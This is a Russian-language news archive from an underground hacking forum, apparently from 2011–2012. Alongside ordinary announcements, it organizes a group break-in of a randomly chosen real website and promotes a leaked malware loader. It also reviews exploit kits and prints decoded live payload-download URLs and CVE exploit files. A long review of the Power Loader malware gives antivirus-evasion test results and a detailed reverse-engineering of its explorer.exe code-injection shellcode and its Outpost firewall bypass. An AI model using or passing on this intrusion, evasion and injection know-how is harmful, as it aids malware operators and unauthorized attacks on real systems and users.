Архив новостей (2004-2015 год)

Статус
Закрыто для дальнейших ответов.
d1db22eccb65.jpg
Экс-гендиректор компании Apple Стив Джобс умер в возрасте 56 лет. Об этом говорится в сообщении Apple.

Стив Джобс основал компанию Apple в 1976 году вместе со Стивом Возняком (Steve Wozniak) и Рональдом Уэйном (Ronald Wayne). В 1985 году он ушел оттуда из-за разногласий с высшим руководством корпорации, а в 1997 году вернулся и с 2000 года сам стал ее генеральным директором.

В августе 2011 года Стив Джобс после продолжительного отпуска покинул пост главы Apple. Гендиректором компании стал Тим Кук (Tim Cook), замещавший Джобса с 17 января 2011 года, когда тот ушел в отпуск по болезни. При этом Стив Джобс был избран председателем совета директоров Apple.

В своем письме к сотрудникам компании Джобс тогда заявил: "Я всегда говорил, что если наступит тот день, когда я не смогу больше соответствовать своим обязанностям и ожиданиям в качестве генерального директора, я первым сообщу вам об этом. К сожалению, этот день настал".

Apple и сам Джобс не сообщали о причинах, сделавших невозможным возвращение менеджера к руководству компанией. Однако журналисты и блогеры сошлись во мнении, что причиной такого решения стало состояние здоровья Джобса.

Стив Джобс неоднократно испытывал проблемы со здоровьем. В 2003 году у Стива Джобса был обнаружен рак поджелудочной железы, который удачно прооперировали в 2004 году. В 2008 году Джобс сильно похудел, что спровоцировало слухи о возможном рецидиве рака поджелудочной железы. Летом 2009 года стало известно, что Джобс перенес операцию по пересадке печени.

Apple является крупнейшей IT-компанией мира с рыночной капитализацией более 300 миллиардов долларов. В 2010 году она отобрала это звание у Microsoft. Apple выпускает компьютеры Mac и ноутбуки MacBook, а также линейку портативных устройств, в которую входят смартфоны iPhone, плееры iPod и планшет iPad.

apple.com
 
x_d7e7a1d0.jpg
Запущен пастебин-сервис от нашего форума. Крутится он на резервном сервере.
Доступен по адресу: http://paste.dlab.org.in

Планируется сделать:
1. более широкий выбор времени хранения (час/день/неделя/месяц/год)
2. добавить возможность запаролить свое сообщение.

Если есть еще какие-то пожелания - милости прошу отписаться в этом топе.
 
354b00530b10b481724796d72473a616.jpg
Итак! Ради спортивного интереса предлагаю провести "спортивный взлом".
Суть примерно следующая, из файлика с урлами сайтов (вторая половина alexa топ 1КК) будет выбран случайным образом сайт. И общим скопом будет проведена проверка и поиск уязвимостей на выбранном урле.

Цель: обмен опытом, коллективное взаимодействие, приятное общение.

Ограничения: в случае удачного взлома - сайт запрещается дефейсить, сносить файлы/базу, вешать ифрэйм или вносить любые другие изменения.

Всем желающим поучаствовать или просто поучиться - нужно быть в конференции 3 ноября 2011 года в 21:00 по МСК.

Адрес конференции - damagelab@conference.dlab.org.in

p.s. заранее подготовьте словари для брута, сканеры, чекеры, соксы и все остальное, что может вам пригодиться. Не хочется терять время из-за мелочей.
 
logobs.png
Итак, произошло то, чего давно опасался d3v1l и чего так долго ждали любители халявы.
Всем известный лоадер Dloader ушел в паблик.

Скачть можно в нашем топе халява.

p.s. мне очень жаль, что девил довел все до такого состояния. Мне нравился и продукт и автор.
p.p.s. новость создана по многочисленным просьбам форумчан.
 
ae6ddca2c9b5.jpg

Добрый день!

Полазив по трекерам, наткнулся на свежеиспечённый билд Smoke Loader.
До этого на конференции кто-то выложил его, сейчас же бот немного видоизменился :)


Я не буду описывать то, как я снимал криптор, приступим к основной части...
 
35993015.png
Доброго времени суток, пользователи и гости дамаги!
Сегодня я, вместе с вами, хочу разобрать exploit pack, который является одним из лидеров на рынке, а именно BlackHole exploit kit.
Исследования будут проводиться под User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Итак вооружившись всем необходимым софтом и пивом :) -лезем на трекер за сэмплом.
 
deddl.png

Уважаемые форумчане!
Вот и заканчивается 2011 год. Много хорошего и не очень было в уходящем году. Итак, мы потеряли несколько очень интересных мемберов, но к счастью, довольно быстро нашли новых друзей и интересных собеседников.
В уходящем году хочется отметить довольно неплохое количество обзоров, которые появились на дамаге. Не могу не вспомнить квест. (Не передать словами сколько я потерял нервов от переживаний, а сколько не спал...)
Так же к нам присоединился Jen140 и waahoo в качестве модераторов. Надеюсь у всех нас и дальше будет исключительно дружеские отношения и познавательные беседы по ночам... :)
Безумно рад вернуться на дамагу (многие заметили что я почти месяц отсутствовал по техническим причинам). Надеюсь не обмануть ваших ожиданий и в 2012 году. Порвем мозг перед концом света :)))
Вопреки всем проблемам мы не собираемся закрываться. И даже наоборот. Я планирую активироваться в ближайшее время и порадовать вас новыми материалами.
Безумно рад вас всех видеть и общаться с вами. В добрый путь наши старые и новые друзья!
И пусть наступающий год будет нас немного драконить! Многим из нас нужен "пинок" что бы пошевелиться.
Подниму сегодня в полночь за всех нас бокал шампанского и мысленно буду конечно же с вами!
 
sobaka.jpg
По многочисленным просьбам трудящихся запущен мини-квест, состоящий всего из одного задания по реверсу. Данное задание любезно предоставил нам x0r (457412).

Само задание:
Однажды, блуждая поздной ночью по просторам порно-сайтов, я скачал и запустил обновление для флэш-плеера.
И, абсолютно неожиданно, фото моей любимой собаки перестало открываться. Теперь у меня вымогают денег.
Иначе, грозятся отправить контакты и фото моей любимой бусечьки в живодерню.
Но я знаю точно, что пароль, необходимый для окрытия фото, находится в файле
quest.dlab.org.in/mini/xdl_crackme_x0r.exe
Копия sendspace.com/file/xtkcj6
76,2 кб.
Прошу вас! Помогите спасти моего любимого питомца!

Призов, к сожалению нет, поэтому рубимся на спортивный интерес.
Просьба каждому выполнившему задание - отписать мне Пм результат.
Поехали!

p.s. обсуждения в конфе приветствуются!
 
Всем привет! Сегодня решил опубликовать небольшой обзор новой связки сплоитов Sakura exploit pack!
Хотя я уже давно видел топ об аренде , и скрины статистики на блоге xylibox, но только недавно наткнулся на живой сэмпл в трекере :)
Итак открыв стандартный набор утилит для ковыряния связок, начнемс наше исследование
под User-agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)
toptours.grantandamy.net/index.php?showtopic=686579
получаем выдачу связки index.txt

Сразу же возникают вопросы-а где же проверка уязвимых версий плагинов?Зачем лишний раз палить сплоиты?
Возможно, лучше выдавать сплоиты средствами JavaScript?
Ладно, возьмомся за декод сплоентов, которые я поснимал:

lsff.pdf - libtiff CVE-2010-0188
rhin.jar - java rhino CVE-2011-3544
Loo.jar - java OBE CVE-2010-0840

Начнем с rhin.jar - как видим fggktne передается параметр:
Код:
<param name="dest" value="lxxt>337525<825=629<3pseh2tltCwls{jsvyqAvlmrs">

Это линк на скачку ехе, за его расшифровку отвечает участок кода:
Код:
String uri = getParameter("delogolst".replace("logol", ""));
      String duri = "";
      for (int i = 0; i < uri.length(); ++i)
      {
        int rt = uri.charAt(i);
        rt -= 4;
        duri = duri + (char)rt;
      }
Декод на JS:
Код:
 var uri="lxxt>337525<825=629<3pseh2tltCwls{jsvyqAvlmrs";
 var rt, i;
 var duri='';
 for (i = 0; i < uri.length; ++i) {
      rt =uri.charCodeAt(i);
      rt = rt- 4;
      duri = duri + String.fromCharCode(rt);
 }
 document.write(duri);
или на Java:
Код:
String uri = "lxxt>337525<825=629<3pseh2tltCwls{jsvyqAsfi";
String duri = "";
for (int i = 0; i < uri.length(); ++i) {
   int rt = uri.charAt(i);
   rt -= 4;
   System.out.println(rt);
   duri = duri + (char)rt;
}
System.out.println(duri);
Получаем:
hххp://31.184.192.58/load.php?showforum=rhino
Приступим к Loo.jar, тут также апплету передается шифрованный линк на скачку ехе
Код:
<param name="dest" value="lxxt>337525<825=629<3pseh2tltCwls{jsvyqAsfi">

Код:
      String ddswh = getParameter("dejjwst".replace("jjw", ""));
      String dddswh = "";
      for (int s = 0; s < ddswh.length(); ++s)
      {
        int jds = ddswh.charAt(s);
        jds -= 4;
        dddswh = dddswh + (char)jds;
      }
Тем же способом декодируем линк:
hххp://31.184.192.58/load.php?showforum=obe
Далее в очереди - lsff.pdf
Для анализа будем использовать PDFStreamsDumper

Нас интересует 8 0 obj, который под флатом
Скрипт для декода pdfdec.js

Сам js в decoded.txt
ШК в либтифе поксорен

Вот, собственно, и всё.
===================================================================
P.S. Хотелось бы услышать мнения форумчан по поводу такого подхода в выдаче сплоитов.
===================================================================
Файлы к обзору: :zns5: ТУТ
pass:DaMaGeLaB
 
С 23 февраля всех мужчин форума!
132845836323522133.gif

Чтоб кони грома не боялись!
Чтоб девки с х*я не срывались!
В карманах деньги шелестели.
Домой придешь, чтоб не пиз*ели!
Чтоб были все мы у руля!
Ну, с 23 февраля!

p.s. и помните: "Как встретишь 23 февраля так и проведешь 8 марта! "
 
questwt.png
Доброе время уважаемые читатели форума.
По многочисленным просьбам, было принято решение о создании второго квеста от damagelab.
Есть сюжетная линейка, но что-то мне в ней не нравится, банально что ли... А хочется уж чего-то совсем необычного. Да и хотелось бы не делать просто как нам хочется, а услышать ваше мнение о недостатках прошлого квеста и его заданиях, и, соответственно, чего бы вам хотелось в этот раз.
Если есть желающие поучаствовать в создании заданий - милости прошу. Годятся любые идеи, просто из них будут выбираться самые интересные.
Нужно ПМ мне писать о ваших предложениях. Буду по возможности отвечать всем.
Критику можно писать прямо в этом топе. Спасибо.
 
searchbot05.jpg
В связи с повышенным интересом различных АВ и etc контор к порталу, было принято решение на время закрыть дамагу для просмотра гостям и поисковикам. Всем зарегистрированным пользователям это не принесет никаких неудобств.
 
code.jpg
Зарабатывай своим умом! Именно под таким девизом хочется запустить небольшой конкурс на форуме.
Я предлагаю Вам до конца июня разместить на форуме интересную статью/обзор и т.д.
Самый интересный материал будет выбран голосованием.
Автор материала получит вознаграждение в сумме 100wmz.
Участвовать может любой человек. Даже если он не зареген на форуме. В этом случае необходимо ваш материал прислать мне в асю/жабу (icq 5777677, Ar3s@dlab.org.in)

p.s. материалов может быть несколько. Копипасты и переводы не принимаются к участию в конкурсе.
 
Приветствую завсегдатых и новеньких форумчан дамаги!Сегодня на нашем операционном столе новичек на рынке связок - ProPack exploit kit.

exploit.gif

Я смог увидеть только гостевую админку, к основной, к сожалению, у меня доступа не было.



 
logovxt.png

Добренького времени суток Вам дорогие друзья!
Сарафанное радио снова на связи. Хочется многое рассказать и показать, но время к сожалению ограничено. Наша передача идет в прямом эфире и приходится следовать рамкам сюжета ?
Многие знают что я стал совладельцем лоадера Andromeda. И, по большому счету, не имею уще права писать обзоры. Особенно обзоры других лоадеров. Так сложилось, что этот лоадер попал ко мне на обзор задолго до того как все завертелось. Потом были задержки с моей стороны, потом со стороны автора. В общем за это время многое поменялось. Но перед автором у меня остался долг, который я намерен отдать.
Итак, приступим.
Сегодня будем рассматривать нутро Power Loader.
Если вы приготовились сидеть и смотреть проценты отстука и прочее – я вынужден вас разочаровать. Все меняется и течет своим чередом. Вот и заключительные свои повествование я хочу провести в ином русле.

----===Админка===---
Установка элементарна. Ну ладно. Элементарна для нас с вами. Как оказалось, для амеров это задача. Притом не легкая. (прим. Из личного опыта)
Заливаем файлики на хостинг/сервер, создаем БД. Бережно вбиваем в установочник и … бинго. Нас встречает админка. Приятная, ничего лишнего. !Рис.1

---===Заявленные обходы===---
собственно, хочется сказать вот что. С этим тестом с самого начала как-то не заладилось. Не все из выбранных мной АВ обходило. О чем я непременно сообщил автору. Автор после некоторого пропадания сказал что когда в спешке давал мне билд, что-то там перепутал. И выдал другой. Поэтому пришлось в два этапа. Некоторые тесты по два раза делал.

win7 32 bit, user account

Avast internet security - установка по умолчанию и обновление. - два алерта подряд. В админку не отстучался. !Рис.2 | !Рис.3
Тест2. После апдэйта - два тех же алерта подряд. В админку не отстучался.
Avira internet security - установка по умолчанию и обновление. - полет нормальный.
Comodo internet security - установка по умолчанию и обновление. - запуск автоматом в sandbox, алерт что обнаружены признаки опасного ПО. !Рис.4
Тест2. После апдэйта - алерт, ушло в sandbox. В админку отстучался.
ESET NOD32 Smart Security 5 - установка по умолчанию и обновление. - полет нормальный.
Kaspersky internet security 2013 - установка по умолчанию и обновление. - полет нормальный.
OutpostSecuritySuite - установка по умолчанию. Убрал галочку об участии в анонимной отправке малвари. Выбрал простой режим. Алертов нет. В админку отстучался.
Zone Alarm - установка по умолчанию и обновление. - полет нормальный.



win7 32 bit, admin account

Avast internet security - установка по умолчанию и обновление. Алерт. Потом затуп на 3 минуты и второй алерт. !Рис.5 | !Рис.6
Тест2. После апдэйта - два алерта подряд. В админку не отстучался
Avira internet security - установка по умолчанию и обновление. - полет нормальный.
Comodo internet security - установка по умолчанию и обновление. - запуск автоматом в sandbox, второй алерт не появился. !Рис.7
Тест2. После апдэйта - алерт, ушло в sandbox. В админку отстучался.
ESET NOD32 Smart Security 5 - установка по умолчанию и обновление. - полет нормальный.
Kaspersky internet security 2013 - установка по умолчанию и обновление. - полет нормальный.
OutpostSecuritySuite - установка по умолчанию. Убрал галочку об участии в анонимной отправке малвари. выбрал простой режим. Алертов нет. В админку отстучался.
Zone Alarm - установка по умолчанию и обновление. - полет нормальный.



---===Реверс===---
Для данного обзора очень постарался наш хороший друг и отличный специалист своего дела – Steklo. Данный человек уже неоднократно помогал мне в обзорах и доказывал свои знания общественности. Читаем:

------------------------------------------------------------------------------------------

Поверхностный осмотр
------------------------------------------------------------------------------------------

Исполняемый Файл "dropper.exe.~". Размер 58368 байт. PE32(GUI). Версия компоновщика 10.0.
Имеет таблицу настроек адресов (Relocation Table), таблицу импорта (Import Table) и экспорта
(Export Table).


Исследование
------------------------------------------------------------------------------------------

Содержащаяся в исполняемом файле "dropper.exe.~" (Он же "sdropper32.exe") программа читает
значение "MachineGuid" ветки реестра "HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography".
Полученная строчка используется для генерации имен мьютексов и т.п. Далее осуществляется
проверка на повторный запуск и если она проходит успешно то создается ветка реестра
"HKEY_CURRENT_USER\SOFTWARE\bdebeabcfcdsacfsfdsf" со значением "CurrentPath"
которому присваевается путь к исполняемому файлу.

Затем программа пытается открыть одну из секций которые отображены во всех процессах:

"\BaseNamedObjects\ShimSharedMemory"
"\BaseNamedObjects\windows_shell_global_counters"
"\BaseNamedObjects\MSCTF.Shared.SFM.MIH"
"\BaseNamedObjects\MSCTF.Shared.SFM.AMF"
"\BaseNamedObjects\UrlZonesSM_Administrator"
"\BaseNamedObjects\UrlZonesSM_SYSTEM"

В моем случае открылась "\BaseNamedObjects\ShimSharedMemory".

Изменение памяти в такой секции приводят к изминению этой памяти во всех процессах. Можно
одним действием записать свой код разом во все процессы.

В конец открытой секции дописывается шелл-код адрес начала и конца которого экспортируется
как "InjectedShellCodeStart" и "InjectedShellCodeEnd". А так же адреса некоторых функций с
которыми работает шелл-код и прочие данные необходимые для работы.

32-битный шелл-код (81 байт) находится рядом с отчетом и называется "shellcode.bin".

И вот собственно копия памяти отображенной секции со скопированным программой шелл-кодом и
другими инициализированными данными.

Все размещается в деапазоне 00B00EСF-00B00FEF. Базовый адрес отображения секции: 00B00000.

До того как сдесь поработала программа весь диапазон 00B00EСF-00B00FEF был пуст.

Эта секция в процессе "explorer.exe" отображена по адресу 0AB0000 поэтому значения которые
в списке начинается с 0AB**** это в процессе "explorer.exe" те же адреса которые в
процессе программы начинаются с 0B0****.
Код:
	--------------------------------------------------------------------------
     Начало связанных с шелл-кодом данных
	----------+----------+----------------------------------------------------
  Адрес   | Значение | Комментарий
	----------+----------+----------------------------------------------------
  00B00ECF | 00000000 |
  00B00ED3 | 00000000 |
  00B00ED7 | 00000000 |
  00B00EDB | 00000000 |
  00B00EDF | 0101177C | explorer.0101177C
  00B00EE3 | FFFFFFFF |
  00B00EE7 | 7C901934 | ntdll.atan
  00B00EEB | 00AB0F9F |
  00B00EEF | 00000051 |
  00B00EF3 | 00AB0EFF |
  00B00EF7 | 7C901934 | ntdll.atan
  00B00EFB | 01002080 | explorer.01002080
  00B00EFF | 00000000 |
  00B00F03 | 00000000 |
  00B00F07 | 00AB0F6F |
  00B00F0B | 00000000 |
  00B00F0F | 00000000 |
  00B00F13 | 00000000 |
  00B00F17 | 00000000 |
  00B00F1B | 00000000 |
  00B00F1F | 00000000 |
  00B00F23 | 00000000 |
  00B00F27 | 00000000 |
  00B00F2B | 00000000 |
  00B00F2F | 00000000 |
  00B00F33 | 7C81C3D6 | kernel32.7C81C3D6
  00B00F37 | 00000000 |
  00B00F3B | 00000000 |
  00B00F3F | 0101177C | explorer.0101177C
  00B00F43 | 00000070 |
  00B00F47 | 7C9015F8 | ntdll._chkstk
  00B00F4B | 7C802213 | kernel32.WriteProcessMemory
  00B00F4F | 00AB0F63 |
  00B00F53 | 00000000 |
  00B00F57 | 00000000 |
  00B00F5B | 00000000 |
  00B00F5F | 00000000 |
  00B00F63 | 7C90E430 | ntdll.KiUserApcDispatcher
  00B00F67 | 7C9EE6AE | SHELL32.7C9EE6AE
  00B00F6B | 7C94D0CB | ntdll.7C94D0CB
  00B00F6F | 7C80BC06 | kernel32.OpenFileMappingA
  00B00F73 | 7C80B995 | kernel32.MapViewOfFile
  00B00F77 | 7C809BD7 | kernel32.CloseHandle
  00B00F7B | 7C8106C7 | kernel32.CreateThread
  00B00F7F | 7E37C29D | USER32.SetWindowLongA
  00B00F83 | 34646238 | / Имя секции с образом испольяемого
  00B00F87 | 65376265 | | файла которая была отображена
  00B00F8B | 0000002D | \ в процесс "explorer.exe".
  00B00F8F | 010460F8 | explorer.010460F8
  00B00F93 | 00140080 |
  00B00F97 | 0000417E |
  00B00F9B | 00000000 |
	----------+----------+----------------------------------------------------
Код:
    	Непосредственно шелл-код
	----------+----------+--------------------------------------+-------------
  Адрес   | Байт код | Инструкции       | Комментарий
	----------+----------+--------------------------------------+-------------
  00B00F9F | 8BEC     | MOV   EBP,ESP      |
  00B00FA1 | 8B7508   | MOV   ESI,DWORD PTR SS:[EBP+8]  |
  00B00FA4 | 33DB     | XOR   EBX,EBX      |
  00B00FA6 | 385E2C   | CMP   BYTE PTR DS:[ESI+2C],BL   |
  00B00FA9 | 7532     | JNZ   SHORT 00B00FDD     |
  00B00FAB | 8D4614   | LEA   EAX,DWORD PTR DS:[ESI+14] |
  00B00FAE | 50      | PUSH   EAX       | / LPCTSTR lpName
  00B00FAF | 53      | PUSH   EBX       | | BOOL bInheritHandle
  00B00FB0 | 6A26     | PUSH   26       | | DWORD dwDesiredAccess
  00B00FB2 | C6462C01 | MOV   BYTE PTR DS:[ESI+2C],1    | |
  00B00FB6 | FF16     | CALL   DWORD PTR DS:[ESI]     | \ kernel32.OpenFileMappingA
  00B00FB8 | 8BF8     | MOV   EDI,EAX      |
  00B00FBA | 3BFB     | CMP   EDI,EBX      |
  00B00FBC | 741F     | JE   SHORT 00B00FDD     |
  00B00FBE | 53      | PUSH   EBX       | / SIZE_T dwNumberOfBytesToMap
  00B00FBF | 53      | PUSH   EBX       | | DWORD dwFileOffsetLow
  00B00FC0 | 53      | PUSH   EBX       | | DWORD dwFileOffsetHigh
  00B00FC1 | 6A26     | PUSH   26       | | DWORD dwDesiredAccess
  00B00FC3 | 57      | PUSH   EDI       | | HANDLE hFileMappingObject
  00B00FC4 | FF5604   | CALL   DWORD PTR DS:[ESI+4]     | \ kernel32.MapViewOfFile
  00B00FC7 | 3BC3     | CMP   EAX,EBX      |
  00B00FC9 | 740E     | JE   SHORT 00B00FD9     |
  00B00FCB | 8B4E28   | MOV   ECX,DWORD PTR DS:[ESI+28] |
  00B00FCE | 53      | PUSH   EBX       | / LPDWORD lpThreadId
  00B00FCF | 53      | PUSH   EBX       | | DWORD dwCreationFlags
  00B00FD0 | 50      | PUSH   EAX       | | LPVOID lpParameter
  00B00FD1 | 03C8     | ADD   ECX,EAX      | |
  00B00FD3 | 51      | PUSH   ECX       | | LPTHREAD_START_ROUTINE lpStartAddress
  00B00FD4 | 53      | PUSH   EBX       | | SIZE_T dwStackSize
  00B00FD5 | 53      | PUSH   EBX       | | LPSECURITY_ATTRIBUTES lpThreadAttributes
  00B00FD6 | FF560C   | CALL   DWORD PTR DS:[ESI+C]     | \ kernel32.CreateThread
  00B00FD9 | 57      | PUSH   EDI       | / HANDLE hObject
  00B00FDA | FF5608   | CALL   DWORD PTR DS:[ESI+8]     | \ kernel32.CloseHandle
  00B00FDD | FF7620   | PUSH   DWORD PTR DS:[ESI+20]     | / LONG dwNewLong
  00B00FE0 | 53      | PUSH   EBX       | | int nIndex
  00B00FE1 | FF7624   | PUSH   DWORD PTR DS:[ESI+24]     | | HWND hWnd
  00B00FE4 | FF5610   | CALL   DWORD PTR DS:[ESI+10]     | \ shell32.SetWindowLongA
  00B00FE7 | 33C0     | XOR   EAX,EAX      |
  00B00FE9 | 83C454   | ADD   ESP,54      |
  00B00FEC | 5D      | POP   EBP       |
  00B00FED | C21000   | RETN   10       |
	----------+----------+--------------------------------------+-------------
    Конец шелл-кода и всех прочих связанных с ним данных
	--------------------------------------------------------------------------
Далее программа открывает процесс "explorer.exe" но сначало проверяет наличие процесса c
именем "op_mon.exe" (Outpost User Interface) который может помешать открыть "explorer.exe"
либо оповестит пользователя поэтому в случае его присутствия проделывается такой трюк:

Программа открывает процесс "explorer.exe" с помощью функции "ZwOpenProcess".

ZwOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
);

И последний параметр ("ClientId") передает через страницу памяти на которую ставит атрибут
"PAGE_GUARD". Outpost перехватывает "ZwOpenProcess" в нулевом кольце и читает "ClientId"
что бы проверить какой процесс открывает программа. И в этот момент происходит исключение.
Так как установлен атрибут "PAGE_GUARD". Драйвер Outpost в случае исключения автоматически
принимает передаваемые параметры за инвалидные и передает управление дальше в ядро которое
снимает атрибут "PAGE_GUARD" и открывает процесс "explorer.exe".

Если Outpost не установлен то процесс открывается с помощью функции "OpenProcess".
И наоборот если не удалось открыть процесс с помомщью функции "OpenProcess" (Комодо любит
это запрещять) то процесс открывается через "ZwOpenProcess" с "ClientId" в "PAGE_GUARD".

За тем программа сканирует адресное пространство процесса "explorer.exe" с помощью функций
"VirtualQueryEx" и "ReadProcessMemory" с целью найти адрес по которому в этом процессе
отображена общая секция в которую он записал шелл-код. Далее сканируются модули открытого
процесса "explorer.exe" пока не будет найден модуль в одной из секции которого есть байты:
FCh, 3Ch. Которые в коце концов были найдны в модуле "ntdll.dll" открытого "explorer.exe".
После этого программа ищет еще одну последовательность байт: B9h, 94h, 00h, 00h, 00h, F3h,
A5h, 5Fh, 33h, C0h, 5Eh, 5Dh, C2h, 08h, 00h. Они были найдены в "shell32.dll". Напоследок
были найдены байты: FCh, C3h в "kernel32.dll". И последовательности байт: 58h, C3h. И FFh,
E0h в самом модуле "explorer.exe" процесса "explorer.exe". Адреса найденных данных нужны
для реализации обхода и сохраняются в секции с шелл-кодом.

Что же он нашел в чужом процессе?
Код:
	--------------------------------------------------------------------------
  	Первые два байта найденные в "ntdll.dll"
	----------+-------------+--------------------+----------------------------
  Адрес   | Байт код	| Инструкции      | Комментарий
	----------+-------------+--------------------+----------------------------
  7C94D0CB | FD  | STD       |
  7C94D0CC | C3  | RETN       |
	----------+-------------+--------------------+----------------------------
    Следующие шестнадцать байт найденные в "shell32.dll"
	----------+-------------+--------------------+----------------------------
  7C9EE6AE | B994000000	| MOV      ECX,94  |
  7C9EE6B3 | F3A5	| REP      MOVSD   |
  7C9EE6B5 | 5F  | POP      EDI     |
  7C9EE6B6 | 33C0	| XOR      EAX,EAX |
  7C9EE6B8 | 5E  | POP      ESI     |
  7C9EE6B9 | 5D  | POP      EBP     |
  7C9EE6BA | C20800	| RETN      8      |
	----------+-------------+--------------------+----------------------------
         Байты найденные в "kernel32"
	----------+-------------+--------------------+----------------------------
  7C81C3D6 | FC  | CLD       |
  7C81C3D7 | C3  | RETN       |
	----------+-------------+--------------------+----------------------------
       Байты найденные в "explorer.exe"
	----------+-------------+--------------------+----------------------------
  0101177C | 58  | POP      EAX     |
  0101177D | C3  | RETN       |
	----------+-------------+--------------------+----------------------------
  01002080 | FFE0	| JMP      EAX     |
	----------+-------------+--------------------+----------------------------
Зачем это все нужно станет понятно чуть позже.

И так все готово для запуска обхода. Программа нашла и открыла одну из общих с процессом
"explorer.exe" секций и записала в нее шелл-код который после этого соотвественно попал и
в "explorer.exe" вместе с данными окружения шелл-кода. К ним относятся и адреса найденных
последовательностей байт. За тем программа находит окно "Shell_TrayWnd" и вызывает функцию
"GetWindowLong" с параметром 0 а в ответ получает адрес переменной в памяти "explorer.exe"
в которой находится адрес обрабочика имеющего отношение к процедуре окна "Shell_TrayWnd" и
этот адрес заменяется с помощью функции "SetWindowLong" с параметром 0 и адресом который
указывает на переменную находящуюся в общей с процессом "explorer.exe" секций в которую
программа записала шелл-код и которая указывает уже на обработчик поставленный программой.
После этого программа создает секцию в которую копирует образ своего исполняемого файла и
посылает сообщение "WM_PAINT" процедуре окна "Shell_TrayWnd". В процессе "exlorer.exe" тут
же срабатывает шелл-код вместо старого обработчика который открывает созданную программой
секцию с образом своего исполняемого файла и отображает ее в память. Потом создается поток
и программа в секции с исполняемым файлом начинает работать. Шелл-код заменяет адрес
своего обработчика на адрес старого обработчика. И все. Код внедрен все подчищено. А сам
процесс программы завершает свою работу.

Что именно происходит после замены адреса переменной указывающей на адрес обраточика с
помощью функции "GetWindowLong" с паметром 0 и хендлом окна "Shell_TrayWnd"?

В процессе "explorer.exe" в процедуре окна "Shell_TrayWnd" в момент получения сообщения
"WM_PAINT" происходит чтение подменненого программой адреса 00B00F4F который указывает на
переменную содержащую адрес 00B00F63 который указывает на адресс "KiUserApcDispatcher". И
за тем происходит вызов "KiUserApcDispatcher". Ниже это показано.

По адресу 00B00F63 находятся несколько адресов подряд которые вызывает процедура окна.
Содежимое памяти с адреса 00B00F63 как и содержимое вызываемых функций можно посмотреть в
таблицах выше. Оно было сконфигурировано программой что бы подсунуть процедуре окна левые
функции которые помогут подменить содержимое стека и запустить шелл-код.
Код:
	--------------------------------------------------------------------------
        Процедура онка "Shell_TrayWnd"
	----------+--------------+--------------------------------------+---------
  Адрес   | Байт код  | Инструкции    | Комментарий
	----------+--------------+--------------------------------------+---------
  01001B1D | 8BFF  | MOV       EDI,EDI  	|
  01001B1F | 55   | PUSH       EBP  	|
  01001B20 | 8BEC  | MOV       EBP,ESP  	|
  01001B22 | 53   | PUSH       EBX  	|
  01001B23 | 56   | PUSH       ESI  	|
  01001B24 | 57   | PUSH       EDI  	|
  01001B25 | 8B7D0C  | MOV       EDI,DWORD PTR SS:[EBP+C]	|
  01001B28 | BB81000000  | MOV       EBX,81  	|
  01001B2D | 3BFB  | CMP       EDI,EBX  	|
  01001B2F | 0F843A1F0100 | JE       explorer.01013A6F  |
  01001B35 | 8B5D08  | MOV       EBX,DWORD PTR SS:[EBP+8]	|
  01001B38 | 53   | PUSH       EBX  	|
  01001B39 | E8A8FFFFFF  | CALL       explorer.01001AE6  |
  01001B3E | 8BF0  | MOV       ESI,EAX  	|
  01001B40 | 85F6  | TEST       ESI,ESI  	|
  01001B42 | 0F84ED2C0200 | JE       explorer.01024835  |
  01001B48 | 8B06  | MOV       EAX,DWORD PTR DS:[ESI]	| EAX = 00B00F63; ESI = 00B00F4F
  01001B4A | 56   | PUSH       ESI  	|
  01001B4B | FF10  | CALL       DWORD PTR DS:[EAX]	| EAX = 00B00F63; 00B00F63 + 0 = 00B00F63; ntdll.KiUserApcDispatcher
  01001B4D | FF7514  | PUSH       DWORD PTR SS:[EBP+14]	|
  01001B50 | 8B06  | MOV       EAX,DWORD PTR DS:[ESI]	|
  01001B52 | FF7510  | PUSH       DWORD PTR SS:[EBP+10]	|
  01001B55 | 8BCE  | MOV       ECX,ESI  	|
  01001B57 | 57   | PUSH       EDI  	|
  01001B58 | 53   | PUSH       EBX  	|
  01001B59 | FF5008  | CALL       DWORD PTR DS:[EAX+8]	| EAX = 00B00F63; 00B00F63 + 8 = 00B00F6B; ntdll.7C94D0CB
  01001B5C | 81FF82000000 | CMP       EDI,82  	|
  01001B62 | 894514  | MOV       DWORD PTR SS:[EBP+14],EAX |
  01001B65 | 0F84B72C0200 | JE       explorer.01024822  |
  01001B6B | 8B06  | MOV       EAX,DWORD PTR DS:[ESI]	|
  01001B6D | 56   | PUSH       ESI  	|
  01001B6E | FF5004  | CALL       DWORD PTR DS:[EAX+4]	| EAX = 00B00F63; 00B00F63 + 4 = 00B00F67; SHELL32.7C9EE6AE
  01001B71 | 8B4514  | MOV       EAX,DWORD PTR SS:[EBP+14] |
  01001B74 | 5F   | POP       EDI  	|
  01001B75 | 5E   | POP       ESI  	|
  01001B76 | 5B   | POP       EBX  	|
  01001B77 | 5D   | POP       EBP  	|
  01001B78 | C21000  | RETN       10  	|
	----------+--------------+--------------------------------------+---------
Что за адреса ntdll.7C94D0CB и SHELL32.7C9EE6AE и прочие и что там находится смотреть в
таблицах выше. "KiUserApcDispatcher" в данном случае просто выталкивает адрес возврата и
и переходит обратно в код из таблицы выше втолкнув в стек своим call адрес ntdll.7C90E437.
А так же в регистр EDI был помещен указатель на буфер в стеке куда позже будут скопированы
специально тонко подобранные данные из секции с шелл-кодом.
Код:
	--------------------------------------------------------------------------
      KiUserApcDispatcher
	----------+--------------+-------------------------------+----------------
  Адрес   | Байт код  | Инструкции    | Комментарий
	----------+--------------+-------------------------------+----------------
  7C90E430 | 8D7C2410  | LEA EDI,DWORD PTR SS:[ESP+10] |
  7C90E434 | 58   | POP EAX    |
  7C90E435 | FFD0  | CALL EAX    |
  7C90E437 | 6A01  | PUSH 1    |
  7C90E439 | 57   | PUSH EDI    |
  7C90E43A | E801ECFFFF  | CALL ntdll.ZwContinue  |
  7C90E43F | 90   | NOP     |
  7C90E440 | 83C404  | ADD ESP,4    |
  7C90E443 | 5A   | POP EDX    |
  7C90E444 | 64A118000000 | MOV EAX,DWORD PTR FS:[18]  |
